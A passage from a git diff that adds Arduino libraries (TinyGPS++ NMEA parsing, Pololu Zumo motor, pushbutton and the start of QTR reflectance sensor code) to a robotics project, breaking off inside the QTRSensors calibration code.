TinyGPSPlus::parseDegrees(const char *term, RawDegrees °) +{ + uint32_t leftOfDecimal = (uint32_t)atol(term); + uint16_t minutes = (uint16_t)(leftOfDecimal % 100); + uint32_t multiplier = 10000000UL; + uint32_t tenMillionthsOfMinutes = minutes * multiplier; + + deg.deg = (int16_t)(leftOfDecimal / 100); + + while (isdigit(*term)) + ++term; + + if (*term == '.') + while (isdigit(*++term)) + { + multiplier /= 10; + tenMillionthsOfMinutes += (*term - '0') * multiplier; + } + + deg.billionths = (5 * tenMillionthsOfMinutes + 1) / 3; + deg.negative = false; +} + +#define COMBINE(sentence_type, term_number) (((unsigned)(sentence_type) << 5) | term_number) + +// Processes a just-completed term +// Returns true if new sentence has just passed checksum test and is validated +bool TinyGPSPlus::endOfTermHandler() +{ + // If it's the checksum term, and the checksum checks out, commit + if (isChecksumTerm) + { + byte checksum = 16 * fromHex(term[0]) + fromHex(term[1]); + if (checksum == parity) + { + passedChecksumCount++; + if (sentenceHasFix) + ++sentencesWithFixCount; + + switch(curSentenceType) + { + case GPS_SENTENCE_GPRMC: + date.commit(); + time.commit(); + if (sentenceHasFix) + { + location.commit(); + speed.commit(); + course.commit(); + } + break; + case GPS_SENTENCE_GPGGA: + time.commit(); + if (sentenceHasFix) + { + location.commit(); + altitude.commit(); + } + satellites.commit(); + hdop.commit(); + break; + } + + // Commit all custom listeners of this sentence type + for (TinyGPSCustom *p = customCandidates; p != NULL && strcmp(p->sentenceName, customCandidates->sentenceName) == 0; p = p->next) + p->commit(); + return true; + } + + else + { + ++failedChecksumCount; + } + + return false; + } + + // the first term determines the sentence type + if (curTermNumber == 0) + { + if (!strcmp(term, _GPRMCterm) || !strcmp(term, _GNRMCterm)) + curSentenceType = GPS_SENTENCE_GPRMC; + else if (!strcmp(term, _GPGGAterm) || !strcmp(term, _GNGGAterm)) + curSentenceType = GPS_SENTENCE_GPGGA; + else + curSentenceType = GPS_SENTENCE_OTHER; + + // Any custom candidates of this sentence type? + for (customCandidates = customElts; customCandidates != NULL && strcmp(customCandidates->sentenceName, term) < 0; customCandidates = customCandidates->next); + if (customCandidates != NULL && strcmp(customCandidates->sentenceName, term) > 0) + customCandidates = NULL; + + return false; + } + + if (curSentenceType != GPS_SENTENCE_OTHER && term[0]) + switch(COMBINE(curSentenceType, curTermNumber)) + { + case COMBINE(GPS_SENTENCE_GPRMC, 1): // Time in both sentences + case COMBINE(GPS_SENTENCE_GPGGA, 1): + time.setTime(term); + break; + case COMBINE(GPS_SENTENCE_GPRMC, 2): // GPRMC validity + sentenceHasFix = term[0] == 'A'; + break; + case COMBINE(GPS_SENTENCE_GPRMC, 3): // Latitude + case COMBINE(GPS_SENTENCE_GPGGA, 2): + location.setLatitude(term); + break; + case COMBINE(GPS_SENTENCE_GPRMC, 4): // N/S + case COMBINE(GPS_SENTENCE_GPGGA, 3): + location.rawNewLatData.negative = term[0] == 'S'; + break; + case COMBINE(GPS_SENTENCE_GPRMC, 5): // Longitude + case COMBINE(GPS_SENTENCE_GPGGA, 4): + location.setLongitude(term); + break; + case COMBINE(GPS_SENTENCE_GPRMC, 6): // E/W + case COMBINE(GPS_SENTENCE_GPGGA, 5): + location.rawNewLngData.negative = term[0] == 'W'; + break; + case COMBINE(GPS_SENTENCE_GPRMC, 7): // Speed (GPRMC) + speed.set(term); + break; + case COMBINE(GPS_SENTENCE_GPRMC, 8): // Course (GPRMC) + course.set(term); + break; + case COMBINE(GPS_SENTENCE_GPRMC, 9): // Date (GPRMC) + date.setDate(term); + break; + case COMBINE(GPS_SENTENCE_GPGGA, 6): // Fix data (GPGGA) + sentenceHasFix = term[0] > '0'; + break; + case COMBINE(GPS_SENTENCE_GPGGA, 7): // Satellites used (GPGGA) + satellites.set(term); + break; + case COMBINE(GPS_SENTENCE_GPGGA, 8): // HDOP + hdop.set(term); + break; + case COMBINE(GPS_SENTENCE_GPGGA, 9): // Altitude (GPGGA) + altitude.set(term); + break; + } + + // Set custom values as needed + for (TinyGPSCustom *p = customCandidates; p != NULL && strcmp(p->sentenceName, customCandidates->sentenceName) == 0 && p->termNumber <= curTermNumber; p = p->next) + if (p->termNumber == curTermNumber) + p->set(term); + + return false; +} + +/* static */ +double TinyGPSPlus::distanceBetween(double lat1, double long1, double lat2, double long2) +{ + // returns distance in meters between two positions, both specified + // as signed decimal-degrees latitude and longitude. Uses great-circle + // distance computation for hypothetical sphere of radius 6372795 meters. + // Because Earth is no exact sphere, rounding errors may be up to 0.5%. + // Courtesy of Maarten Lamers + double delta = radians(long1-long2); + double sdlong = sin(delta); + double cdlong = cos(delta); + lat1 = radians(lat1); + lat2 = radians(lat2); + double slat1 = sin(lat1); + double clat1 = cos(lat1); + double slat2 = sin(lat2); + double clat2 = cos(lat2); + delta = (clat1 * slat2) - (slat1 * clat2 * cdlong); + delta = sq(delta); + delta += sq(clat2 * sdlong); + delta = sqrt(delta); + double denom = (slat1 * slat2) + (clat1 * clat2 * cdlong); + delta = atan2(delta, denom); + return delta * 6372795; +} + +double TinyGPSPlus::courseTo(double lat1, double long1, double lat2, double long2) +{ + // returns course in degrees (North=0, West=270) from position 1 to position 2, + // both specified as signed decimal-degrees latitude and longitude. + // Because Earth is no exact sphere, calculated course may be off by a tiny fraction. + // Courtesy of Maarten Lamers + double dlon = radians(long2-long1); + lat1 = radians(lat1); + lat2 = radians(lat2); + double a1 = sin(dlon) * cos(lat2); + double a2 = sin(lat1) * cos(lat2) * cos(dlon); + a2 = cos(lat1) * sin(lat2) - a2; + a2 = atan2(a1, a2); + if (a2 < 0.0) + { + a2 += TWO_PI; + } + return degrees(a2); +} + +const char *TinyGPSPlus::cardinal(double course) +{ + static const char* directions[] = {"N", "NNE", "NE", "ENE", "E", "ESE", "SE", "SSE", "S", "SSW", "SW", "WSW", "W", "WNW", "NW", "NNW"}; + int direction = (int)((course + 11.25f) / 22.5f); + return directions[direction % 16]; +} + +void TinyGPSLocation::commit() +{ + rawLatData = rawNewLatData; + rawLngData = rawNewLngData; + lastCommitTime = millis(); + valid = updated = true; +} + +void TinyGPSLocation::setLatitude(const char *term) +{ + TinyGPSPlus::parseDegrees(term, rawNewLatData); +} + +void TinyGPSLocation::setLongitude(const char *term) +{ + TinyGPSPlus::parseDegrees(term, rawNewLngData); +} + +double TinyGPSLocation::lat() +{ + updated = false; + double ret = rawLatData.deg + rawLatData.billionths / 1000000000.0; + return rawLatData.negative ? -ret : ret; +} + +double TinyGPSLocation::lng() +{ + updated = false; + double ret = rawLngData.deg + rawLngData.billionths / 1000000000.0; + return rawLngData.negative ? -ret : ret; +} + +void TinyGPSDate::commit() +{ + date = newDate; + lastCommitTime = millis(); + valid = updated = true; +} + +void TinyGPSTime::commit() +{ + time = newTime; + lastCommitTime = millis(); + valid = updated = true; +} + +void TinyGPSTime::setTime(const char *term) +{ + newTime = (uint32_t)TinyGPSPlus::parseDecimal(term); +} + +void TinyGPSDate::setDate(const char *term) +{ + newDate = atol(term); +} + +uint16_t TinyGPSDate::year() +{ + updated = false; + uint16_t year = date % 100; + return year + 2000; +} + +uint8_t TinyGPSDate::month() +{ + updated = false; + return (date / 100) % 100; +} + +uint8_t TinyGPSDate::day() +{ + updated = false; + return date / 10000; +} + +uint8_t TinyGPSTime::hour() +{ + updated = false; + return time / 1000000; +} + +uint8_t TinyGPSTime::minute() +{ + updated = false; + return (time / 10000) % 100; +} + +uint8_t TinyGPSTime::second() +{ + updated = false; + return (time / 100) % 100; +} + +uint8_t TinyGPSTime::centisecond() +{ + updated = false; + return time % 100; +} + +void TinyGPSDecimal::commit() +{ + val = newval; + lastCommitTime = millis(); + valid = updated = true; +} + +void TinyGPSDecimal::set(const char *term) +{ + newval = TinyGPSPlus::parseDecimal(term); +} + +void TinyGPSInteger::commit() +{ + val = newval; + lastCommitTime = millis(); + valid = updated = true; +} + +void TinyGPSInteger::set(const char *term) +{ + newval = atol(term); +} + +TinyGPSCustom::TinyGPSCustom(TinyGPSPlus &gps, const char *_sentenceName, int _termNumber) +{ + begin(gps, _sentenceName, _termNumber); +} + +void TinyGPSCustom::begin(TinyGPSPlus &gps, const char *_sentenceName, int _termNumber) +{ + lastCommitTime = 0; + updated = valid = false; + sentenceName = _sentenceName; + termNumber = _termNumber; + memset(stagingBuffer, '\0', sizeof(stagingBuffer)); + memset(buffer, '\0', sizeof(buffer)); + + // Insert this item into the GPS tree + gps.insertCustom(this, _sentenceName, _termNumber); +} + +void TinyGPSCustom::commit() +{ + strcpy(this->buffer, this->stagingBuffer); + lastCommitTime = millis(); + valid = updated = true; +} + +void TinyGPSCustom::set(const char *term) +{ + strncpy(this->stagingBuffer, term, sizeof(this->stagingBuffer)); +} + +void TinyGPSPlus::insertCustom(TinyGPSCustom *pElt, const char *sentenceName, int termNumber) +{ + TinyGPSCustom **ppelt; + + for (ppelt = &this->customElts; *ppelt != NULL; ppelt = &(*ppelt)->next) + { + int cmp = strcmp(sentenceName, (*ppelt)->sentenceName); + if (cmp < 0 || (cmp == 0 && termNumber < (*ppelt)->termNumber)) + break; + } + + pElt->next = *ppelt; + *ppelt = pElt; +} diff --git a/libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.h b/libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.h new file mode 100755 index 0000000..60485cb --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.h @@ -0,0 +1,278 @@ +/* +TinyGPS++ - a small GPS library for Arduino providing universal NMEA parsing +Based on work by and "distanceBetween" and "courseTo" courtesy of Maarten Lamers. +Suggestion to add satellites, courseTo(), and cardinal() by Matt Monson. +Location precision improvements suggested by Wayne Holder. +Copyright (C) 2008-2013 Mikal Hart +All rights reserved. + +This library is free software; you can redistribute it and/or +modify it under the terms of the GNU Lesser General Public +License as published by the Free Software Foundation; either +version 2.1 of the License, or (at your option) any later version. + +This library is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +Lesser General Public License for more details. + +You should have received a copy of the GNU Lesser General Public +License along with this library; if not, write to the Free Software +Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#ifndef __TinyGPSPlus_h +#define __TinyGPSPlus_h + +#if defined(ARDUINO) && ARDUINO >= 100 +#include "Arduino.h" +#else +#include "WProgram.h" +#endif +#include + +#define _GPS_VERSION "1.0.2" // software version of this library +#define _GPS_MPH_PER_KNOT 1.15077945 +#define _GPS_MPS_PER_KNOT 0.51444444 +#define _GPS_KMPH_PER_KNOT 1.852 +#define _GPS_MILES_PER_METER 0.00062137112 +#define _GPS_KM_PER_METER 0.001 +#define _GPS_FEET_PER_METER 3.2808399 +#define _GPS_MAX_FIELD_SIZE 15 + +struct RawDegrees +{ + uint16_t deg; + uint32_t billionths; + bool negative; +public: + RawDegrees() : deg(0), billionths(0), negative(false) + {} +}; + +struct TinyGPSLocation +{ + friend class TinyGPSPlus; +public: + bool isValid() const { return valid; } + bool isUpdated() const { return updated; } + uint32_t age() const { return valid ? millis() - lastCommitTime : (uint32_t)ULONG_MAX; } + const RawDegrees &rawLat() { updated = false; return rawLatData; } + const RawDegrees &rawLng() { updated = false; return rawLngData; } + double lat(); + double lng(); + + TinyGPSLocation() : valid(false), updated(false) + {} + +private: + bool valid, updated; + RawDegrees rawLatData, rawLngData, rawNewLatData, rawNewLngData; + uint32_t lastCommitTime; + void commit(); + void setLatitude(const char *term); + void setLongitude(const char *term); +}; + +struct TinyGPSDate +{ + friend class TinyGPSPlus; +public: + bool isValid() const { return valid; } + bool isUpdated() const { return updated; } + uint32_t age() const { return valid ? millis() - lastCommitTime : (uint32_t)ULONG_MAX; } + + uint32_t value() { updated = false; return date; } + uint16_t year(); + uint8_t month(); + uint8_t day(); + + TinyGPSDate() : valid(false), updated(false), date(0) + {} + +private: + bool valid, updated; + uint32_t date, newDate; + uint32_t lastCommitTime; + void commit(); + void setDate(const char *term); +}; + +struct TinyGPSTime +{ + friend class TinyGPSPlus; +public: + bool isValid() const { return valid; } + bool isUpdated() const { return updated; } + uint32_t age() const { return valid ? millis() - lastCommitTime : (uint32_t)ULONG_MAX; } + + uint32_t value() { updated = false; return time; } + uint8_t hour(); + uint8_t minute(); + uint8_t second(); + uint8_t centisecond(); + + TinyGPSTime() : valid(false), updated(false), time(0) + {} + +private: + bool valid, updated; + uint32_t time, newTime; + uint32_t lastCommitTime; + void commit(); + void setTime(const char *term); +}; + +struct TinyGPSDecimal +{ + friend class TinyGPSPlus; +public: + bool isValid() const { return valid; } + bool isUpdated() const { return updated; } + uint32_t age() const { return valid ? millis() - lastCommitTime : (uint32_t)ULONG_MAX; } + int32_t value() { updated = false; return val; } + + TinyGPSDecimal() : valid(false), updated(false), val(0) + {} + +private: + bool valid, updated; + uint32_t lastCommitTime; + int32_t val, newval; + void commit(); + void set(const char *term); +}; + +struct TinyGPSInteger +{ + friend class TinyGPSPlus; +public: + bool isValid() const { return valid; } + bool isUpdated() const { return updated; } + uint32_t age() const { return valid ? millis() - lastCommitTime : (uint32_t)ULONG_MAX; } + uint32_t value() { updated = false; return val; } + + TinyGPSInteger() : valid(false), updated(false), val(0) + {} + +private: + bool valid, updated; + uint32_t lastCommitTime; + uint32_t val, newval; + void commit(); + void set(const char *term); +}; + +struct TinyGPSSpeed : TinyGPSDecimal +{ + double knots() { return value() / 100.0; } + double mph() { return _GPS_MPH_PER_KNOT * value() / 100.0; } + double mps() { return _GPS_MPS_PER_KNOT * value() / 100.0; } + double kmph() { return _GPS_KMPH_PER_KNOT * value() / 100.0; } +}; + +struct TinyGPSCourse : public TinyGPSDecimal +{ + double deg() { return value() / 100.0; } +}; + +struct TinyGPSAltitude : TinyGPSDecimal +{ + double meters() { return value() / 100.0; } + double miles() { return _GPS_MILES_PER_METER * value() / 100.0; } + double kilometers() { return _GPS_KM_PER_METER * value() / 100.0; } + double feet() { return _GPS_FEET_PER_METER * value() / 100.0; } +}; + +struct TinyGPSHDOP : TinyGPSDecimal +{ + double hdop() { return value() / 100.0; } +}; + +class TinyGPSPlus; +class TinyGPSCustom +{ +public: + TinyGPSCustom() {}; + TinyGPSCustom(TinyGPSPlus &gps, const char *sentenceName, int termNumber); + void begin(TinyGPSPlus &gps, const char *_sentenceName, int _termNumber); + + bool isUpdated() const { return updated; } + bool isValid() const { return valid; } + uint32_t age() const { return valid ? millis() - lastCommitTime : (uint32_t)ULONG_MAX; } + const char *value() { updated = false; return buffer; } + +private: + void commit(); + void set(const char *term); + + char stagingBuffer[_GPS_MAX_FIELD_SIZE + 1]; + char buffer[_GPS_MAX_FIELD_SIZE + 1]; + unsigned long lastCommitTime; + bool valid, updated; + const char *sentenceName; + int termNumber; + friend class TinyGPSPlus; + TinyGPSCustom *next; +}; + +class TinyGPSPlus +{ +public: + TinyGPSPlus(); + bool encode(char c); // process one character received from GPS + TinyGPSPlus &operator << (char c) {encode(c); return *this;} + + TinyGPSLocation location; + TinyGPSDate date; + TinyGPSTime time; + TinyGPSSpeed speed; + TinyGPSCourse course; + TinyGPSAltitude altitude; + TinyGPSInteger satellites; + TinyGPSHDOP hdop; + + static const char *libraryVersion() { return _GPS_VERSION; } + + static double distanceBetween(double lat1, double long1, double lat2, double long2); + static double courseTo(double lat1, double long1, double lat2, double long2); + static const char *cardinal(double course); + + static int32_t parseDecimal(const char *term); + static void parseDegrees(const char *term, RawDegrees °); + + uint32_t charsProcessed() const { return encodedCharCount; } + uint32_t sentencesWithFix() const { return sentencesWithFixCount; } + uint32_t failedChecksum() const { return failedChecksumCount; } + uint32_t passedChecksum() const { return passedChecksumCount; } + +private: + enum {GPS_SENTENCE_GPGGA, GPS_SENTENCE_GPRMC, GPS_SENTENCE_OTHER}; + + // parsing state variables + uint8_t parity; + bool isChecksumTerm; + char term[_GPS_MAX_FIELD_SIZE]; + uint8_t curSentenceType; + uint8_t curTermNumber; + uint8_t curTermOffset; + bool sentenceHasFix; + + // custom element support + friend class TinyGPSCustom; + TinyGPSCustom *customElts; + TinyGPSCustom *customCandidates; + void insertCustom(TinyGPSCustom *pElt, const char *sentenceName, int index); + + // statistics + uint32_t encodedCharCount; + uint32_t sentencesWithFixCount; + uint32_t failedChecksumCount; + uint32_t passedChecksumCount; + + // internal utilities + int fromHex(char a); + bool endOfTermHandler(); +}; + +#endif // def(__TinyGPSPlus_h) diff --git a/libraries/Zumo/PLab_ZumoMotors.cpp b/libraries/Zumo/PLab_ZumoMotors.cpp new file mode 100755 index 0000000..2e2a7b9 --- /dev/null +++ b/libraries/Zumo/PLab_ZumoMotors.cpp @@ -0,0 +1,126 @@ +#include "Arduino.h" +#include "PLab_ZumoMotors.h" +#include + + +#define ADMUX_VCCWRT1V1 (_BV(MUX3) | _BV(MUX2) | _BV(MUX1)) // DS AREF.. + +float Read_Zumo_Volts_AREF() +{ + int oldADMUX = ADMUX; + // Read 1.1V reference against AVcc + // set the reference to Vcc and the measurement to the internal 1.1V reference + if (ADMUX != ADMUX_VCCWRT1V1) + { + ADMUX = ADMUX_VCCWRT1V1; + // Bandgap reference start-up time: max 70us + // Wait for Vref to settle. + delayMicroseconds(350); + } + // Start conversion and wait for it to finish. + ADCSRA |= _BV(ADSC); + while (bit_is_set(ADCSRA,ADSC)) {}; + + // Result is now stored in ADC. + // Calculate Vcc (in V) + float vcc = 1.1*1023.0 / ADC; + + // Apply compensation + vcc = vcc * 1.77; // Zumo divider factor; + + ADMUX = oldADMUX; + return vcc; +} + +float calc_time(int _speed, float _length) { + double a = 24069*pow(_speed,-1.238); + double b = 5.7824*log(_speed) - 19.99; + double _time = _length * a + b; + float correction; + if (_speed > 100) { + correction = -0.0007*_speed + 1.154; + } else if (_speed > 50) { + correction = 0.0017*_speed + 0.9167; + } else { + correction = 0.0187*_speed + 0.0667; + }; + _time = _time / correction; + float battery_voltage = Read_Zumo_Volts_AREF(); + _time = _time * 5.2 / battery_voltage; + return _time; +} + +float calc_turn_length(int __speed) { + float _speed = __speed; + float y = 3.3375e-6*_speed*_speed*_speed - 0.00327*_speed*_speed + 1.0536*_speed - 28.595; + float _length = 10.0 * 90.0 / y; + return _length; +} + +PLab_ZumoMotors::PLab_ZumoMotors() +{ +} + +void PLab_ZumoMotors::forward(int _speed, int _length) +{ + motors.setSpeeds(0, 0); + float _time = calc_time(_speed,_length); + motors.setSpeeds(_speed, _speed); + delay(_time); + motors.setSpeeds(0, 0); +} + +void PLab_ZumoMotors::backward(int _speed, int _length) +{ + motors.setSpeeds(0, 0); + float _time = calc_time(_speed,_length); + motors.setSpeeds(- _speed, - _speed); + delay(_time); + motors.setSpeeds(0, 0); +} + +void PLab_ZumoMotors::turnRight(int _speed, int degrees) +{ + motors.setSpeeds(0, 0); + float _length = calc_turn_length(_speed); + _length = _length * degrees / 90.0; + float _time = calc_time(_speed,_length); + motors.setSpeeds(_speed, - _speed); + delay(_time); + motors.setSpeeds(0, 0); +} + +void PLab_ZumoMotors::turnLeft(int _speed, int degrees) +{ + motors.setSpeeds(0, 0); + float _length = calc_turn_length(_speed); + _length = _length * degrees / 90.0; + float _time = calc_time(_speed,_length); + motors.setSpeeds(- _speed, _speed); + delay(_time); + motors.setSpeeds(0, 0); +} + + // enable/disable flipping of motors +void PLab_ZumoMotors::flipLeftMotor(boolean flip) { + motors.flipLeftMotor(flip); +} + + +void PLab_ZumoMotors::flipRightMotor(boolean flip) { + motors.flipRightMotor(flip); +} + + // set speed for left, right, or both motors + +void PLab_ZumoMotors::setLeftSpeed(int speed){ + motors.setLeftSpeed(speed); +} + +void PLab_ZumoMotors::setRightSpeed(int speed){ + motors.setRightSpeed(speed); +} + +void PLab_ZumoMotors::setSpeeds(int leftSpeed, int rightSpeed){ + motors.setSpeeds(leftSpeed, rightSpeed); +} \ No newline at end of file diff --git a/libraries/Zumo/PLab_ZumoMotors.h b/libraries/Zumo/PLab_ZumoMotors.h new file mode 100755 index 0000000..893a7b2 --- /dev/null +++ b/libraries/Zumo/PLab_ZumoMotors.h @@ -0,0 +1,35 @@ +/* + PLab_ZumoMotors.h - Library for Zumo. + Created by Dag Svanæs, 2015. + Released into the public domain. +*/ + +#ifndef PLab_ZumoMotors_h +#define PLab_ZumoMotors_h + +#include "Arduino.h" +#include + +class PLab_ZumoMotors +{ + public: + PLab_ZumoMotors(); + void forward(int _speed, int length); + void backward(int _speed, int _length); + void turnRight(int _speed, int degrees); + void turnLeft(int _speed, int degrees); + + // enable/disable flipping of motors + void flipLeftMotor(boolean flip); + void flipRightMotor(boolean flip); + + // set speed for left, right, or both motors + void setLeftSpeed(int speed); + void setRightSpeed(int speed); + void setSpeeds(int leftSpeed, int rightSpeed); + + private: + ZumoMotors motors; +}; + +#endif \ No newline at end of file diff --git a/libraries/Zumo/Pushbutton.cpp b/libraries/Zumo/Pushbutton.cpp new file mode 100755 index 0000000..ede92f7 --- /dev/null +++ b/libraries/Zumo/Pushbutton.cpp @@ -0,0 +1,173 @@ +#include "Pushbutton.h" + +// constructor; takes arguments specifying whether to enable internal pull-up +// and the default state of the pin that the button is connected to +Pushbutton::Pushbutton(unsigned char pin, unsigned char pullUp, unsigned char defaultState) +{ + _pin = pin; + _pullUp = pullUp; + _defaultState = defaultState; + gsdpState = 0; + gsdrState = 0; + gsdpPrevTimeMillis = 0; + gsdrPrevTimeMillis = 0; + initialized = false; +} + +// wait for button to be pressed +void Pushbutton::waitForPress() +{ + init(); // initialize if necessary + + do + { + while (!_isPressed()); // wait for button to be pressed + delay(10); // debounce the button press + } + while (!_isPressed()); // if button isn't still pressed, loop +} + +// wait for button to be released +void Pushbutton::waitForRelease() +{ + init(); // initialize if necessary + + do + { + while (_isPressed()); // wait for button to be released + delay(10); // debounce the button release + } + while (_isPressed()); // if button isn't still released, loop +} + +// wait for button to be pressed, then released +void Pushbutton::waitForButton() +{ + waitForPress(); + waitForRelease(); +} + +// indicates whether button is pressed +boolean Pushbutton::isPressed() +{ + init(); // initialize if necessary + + return _isPressed(); +} + +// Uses a finite state machine to detect a single button press and returns +// true to indicate the press (false otherwise). It requires the button to be +// released for at least 15 ms and then pressed for at least 15 ms before +// reporting the press. This function handles all necessary debouncing and +// should be called repeatedly in a loop. +boolean Pushbutton::getSingleDebouncedPress() +{ + unsigned long timeMillis = millis(); + + init(); // initialize if necessary + + switch (gsdpState) + { + case 0: + if (!_isPressed()) // if button is released + { + gsdpPrevTimeMillis = timeMillis; + gsdpState = 1; // proceed to next state + } + break; + + case 1: + if ((timeMillis - gsdpPrevTimeMillis >= 15) && !_isPressed()) // if 15 ms or longer has elapsed and button is still released + gsdpState = 2; // proceed to next state + else if (_isPressed()) + gsdpState = 0; // button is pressed or bouncing, so go back to previous (initial) state + break; + + case 2: + if (_isPressed()) // if button is now pressed + { + gsdpPrevTimeMillis = timeMillis; + gsdpState = 3; // proceed to next state + } + break; + + case 3: + if ((timeMillis - gsdpPrevTimeMillis >= 15) && _isPressed()) // if 15 ms or longer has elapsed and button is still pressed + { + gsdpState = 0; // next state becomes initial state + return true; // report button press + } + else if (!_isPressed()) + gsdpState = 2; // button is released or bouncing, so go back to previous state + break; + } + + return false; +} + +// Uses a finite state machine to detect a single button release and returns +// true to indicate the release (false otherwise). It requires the button to be +// pressed for at least 15 ms and then released for at least 15 ms before +// reporting the release. This function handles all necessary debouncing and +// should be called repeatedly in a loop. +boolean Pushbutton::getSingleDebouncedRelease() +{ + unsigned int timeMillis = millis(); + + init(); // initialize if necessary + + switch (gsdrState) + { + case 0: + if (_isPressed()) // if button is pressed + { + gsdrPrevTimeMillis = timeMillis; + gsdrState = 1; // proceed to next state + } + break; + + case 1: + if ((timeMillis - gsdrPrevTimeMillis >= 15) && _isPressed()) // if 15 ms or longer has elapsed and button is still pressed + gsdrState = 2; // proceed to next state + else if (!_isPressed()) + gsdrState = 0; // button is released or bouncing, so go back to previous (initial) state + break; + + case 2: + if (!_isPressed()) // if button is now released + { + gsdrPrevTimeMillis = timeMillis; + gsdrState = 3; // proceed to next state + } + break; + + case 3: + if ((timeMillis - gsdrPrevTimeMillis >= 15) && !_isPressed()) // if 15 ms or longer has elapsed and button is still released + { + gsdrState = 0; // next state becomes initial state + return true; // report button release + } + else if (_isPressed()) + gsdrState = 2; // button is pressed or bouncing, so go back to previous state + break; + } + + return false; +} + +// initializes I/O pin for use as button inputs +void Pushbutton::init2() +{ + if (_pullUp == PULL_UP_ENABLED) + pinMode(_pin, INPUT_PULLUP); + else + pinMode(_pin, INPUT); // high impedance + + delayMicroseconds(5); // give pull-up time to stabilize +} + +// button is pressed if pin state differs from default state +inline boolean Pushbutton::_isPressed() +{ + return (digitalRead(_pin) == LOW) ^ (_defaultState == DEFAULT_STATE_LOW); +} \ No newline at end of file diff --git a/libraries/Zumo/Pushbutton.h b/libraries/Zumo/Pushbutton.h new file mode 100755 index 0000000..ddd0400 --- /dev/null +++ b/libraries/Zumo/Pushbutton.h @@ -0,0 +1,70 @@ +/*! \file Pushbutton.h + * + * See the Pushbutton class reference for more information about this library. + * + * \class Pushbutton Pushbutton.h + * \brief Read button presses and releases with debouncing + * + */ + +#ifndef Pushbutton_h +#define Pushbutton_h + +#include + +#define ZUMO_BUTTON 12 + +#define PULL_UP_DISABLED 0 +#define PULL_UP_ENABLED 1 + +#define DEFAULT_STATE_LOW 0 +#define DEFAULT_STATE_HIGH 1 + +class Pushbutton +{ + public: + + // constructor; takes arguments specifying whether to enable internal pull-up + // and the default state of the pin that the button is connected to + Pushbutton(unsigned char pin, unsigned char pullUp = PULL_UP_ENABLED, unsigned char defaultState = DEFAULT_STATE_HIGH); + + // wait for button to be pressed, released, or pressed and released + void waitForPress(); + void waitForRelease(); + void waitForButton(); + + // indicates whether button is currently pressed + boolean isPressed(); + + // more complex functions that return true once for each button transition + // from released to pressed or pressed to released + boolean getSingleDebouncedPress(); + boolean getSingleDebouncedRelease(); + + private: + + unsigned char _pin; + unsigned char _pullUp; + unsigned char _defaultState; + unsigned char gsdpState; + unsigned char gsdrState; + unsigned int gsdpPrevTimeMillis; + unsigned int gsdrPrevTimeMillis; + boolean initialized; + + inline void init() + { + if (!initialized) + { + initialized = true; + init2(); + } + } + + // initializes I/O pin for use as button input + void init2(); + + boolean _isPressed(); +}; + +#endif \ No newline at end of file diff --git a/libraries/Zumo/QTRSensors.cpp b/libraries/Zumo/QTRSensors.cpp new file mode 100755 index 0000000..a5c865a --- /dev/null +++ b/libraries/Zumo/QTRSensors.cpp @@ -0,0 +1,563 @@ +/* + QTRSensors.cpp - Arduino library for using Pololu QTR reflectance + sensors and reflectance sensor arrays: QTR-1A, QTR-8A, QTR-1RC, and + QTR-8RC. The object used will determine the type of the sensor (either + QTR-xA or QTR-xRC). Then simply specify in the constructor which + Arduino I/O pins are connected to a QTR sensor, and the read() method + will obtain reflectance measurements for those sensors. Smaller sensor + values correspond to higher reflectance (e.g. white) while larger + sensor values correspond to lower reflectance (e.g. black or a void). + + * QTRSensorsRC should be used for QTR-1RC and QTR-8RC sensors. + * QTRSensorsAnalog should be used for QTR-1A and QTR-8A sensors. +*/ + +/* + * Written by Ben Schmidel et al., October 4, 2010. + * Copyright (c) 2008-2012 Pololu Corporation. For more information, see + * + * http://www.pololu.com + * http://forum.pololu.com + * http://www.pololu.com/docs/0J19 + * + * You may freely modify and share this code, as long as you keep this + * notice intact (including the two links above). Licensed under the + * Creative Commons BY-SA 3.0 license: + * + * http://creativecommons.org/licenses/by-sa/3.0/ + * + * Disclaimer: To the extent permitted by law, Pololu provides this work + * without any warranty. It might be defective, in which case you agree + * to be responsible for all resulting costs and damages. + */ + +#include +#include "QTRSensors.h" +#include + + + +// Base class data member initialization (called by derived class init()) +void QTRSensors::init(unsigned char *pins, unsigned char numSensors, + unsigned char emitterPin) +{ + calibratedMinimumOn=0; + calibratedMaximumOn=0; + calibratedMinimumOff=0; + calibratedMaximumOff=0; + + if (numSensors > QTR_MAX_SENSORS) + _numSensors = QTR_MAX_SENSORS; + else + _numSensors = numSensors; + + if (_pins == 0) + { + _pins = (unsigned char*)malloc(sizeof(unsigned char)*_numSensors); + if (_pins == 0) + return; + } + + unsigned char i; + for (i = 0; i < _numSensors; i++) + { + _pins[i] = pins[i]; + } + + _emitterPin = emitterPin; +} + + +// Reads the sensor values into an array. There *MUST* be space +// for as many values as there were sensors specified in the constructor. +// Example usage: +// unsigned int sensor_values[8]; +// sensors.read(sensor_values); +// The values returned are a measure of the reflectance in abstract units, +// with higher values corresponding to lower reflectance (e.g. a black +// surface or a void). +void QTRSensors::read(unsigned int *sensor_values, unsigned char readMode) +{ + unsigned int off_values[QTR_MAX_SENSORS]; + unsigned char i; + + if(readMode == QTR_EMITTERS_ON || readMode == QTR_EMITTERS_ON_AND_OFF) + emittersOn(); + else + emittersOff(); + + readPrivate(sensor_values); + emittersOff(); + + if(readMode == QTR_EMITTERS_ON_AND_OFF) + { + readPrivate(off_values); + + for(i=0;i<_numSensors;i++) + { + sensor_values[i] += _maxValue - off_values[i]; + } + } +} + + +// Turn the IR LEDs off and on. This is mainly for use by the +// read method, and calling these functions before or +// after the reading the sensors will have no effect on the +// readings, but you may wish to use these for testing purposes. +void QTRSensors::emittersOff() +{ + if (_emitterPin == QTR_NO_EMITTER_PIN) + return; + pinMode(_emitterPin, OUTPUT); + digitalWrite(_emitterPin, LOW); + delayMicroseconds(200); +} + +void QTRSensors::emittersOn() +{ + if (_emitterPin == QTR_NO_EMITTER_PIN) + return; + pinMode(_emitterPin, OUTPUT); + digitalWrite(_emitterPin, HIGH); + delayMicroseconds(200); +} + +// Resets the calibration. +void QTRSensors::resetCalibration() +{ + unsigned char i; + for(i=0;i<_numSensors;i++) + { + if(calibratedMinimumOn) + calibratedMinimumOn[i] 